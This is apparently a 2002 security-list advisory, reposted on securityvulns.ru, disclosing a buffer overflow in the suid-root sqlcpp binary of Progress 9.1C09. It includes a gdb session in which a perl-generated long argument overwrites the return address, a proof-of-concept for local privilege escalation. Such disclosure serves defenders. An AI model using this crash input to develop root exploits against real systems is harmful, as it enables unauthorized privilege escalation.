Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Multiple buffer overflows in Progress

  latest Progress patch has suid issues AGAIN.

  Progres Databse PROMSGS Format strings issue.

  Progress TERM (protermcap) overflows and PROMSGS overflows

  Progress Database vulnerabilities

From:Kevin Finisterre <dotslash_(at)_snosoft.com>
Date:25.03.2002
Subject:Progress Software suid overflows again.

Yet another b0f in progress software due to p_stcopy()

Progress Software corp. http://www.progress.com STILL can't seem to
validate user input... this is in their latest patch level for Progress
9.1C

91C09.tar.Z

[root@localhost bin]# cat ../version
echo PROGRESS PATCH Version 9.1C09 as of February 26, 2002

[root@localhost bin]# ls -al sqlcpp
-rwsrwxr-x    1 root     root      2222278 Feb 26 08:17 sqlcpp

[root@localhost bin]# gdb -q ./sqlcpp
(gdb) r  `perl -e 'print "A" x 9000'`
Starting program: /usr/dlc/bin/./sqlcpp `perl -e 'print "A" x 9000'`

Program received signal SIGSEGV, Segmentation fault.
0x081f5670 in p_stcopy () at eval.c:41
41      eval.c: No such file or directory.
       in eval.c
(gdb) bt
#0  0x081f5670 in p_stcopy () at eval.c:41
#1  0x080b03a0 in sqlppgdst () at eval.c:41
#2  0x41414141 in ?? ()
Cannot access memory at address 0x41414141

Progress was NOT notified due to the number of times I have tryed to
tell them how to fix their software.... I have ran out of fingers and
toes to count Progress holes on.

-KF

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru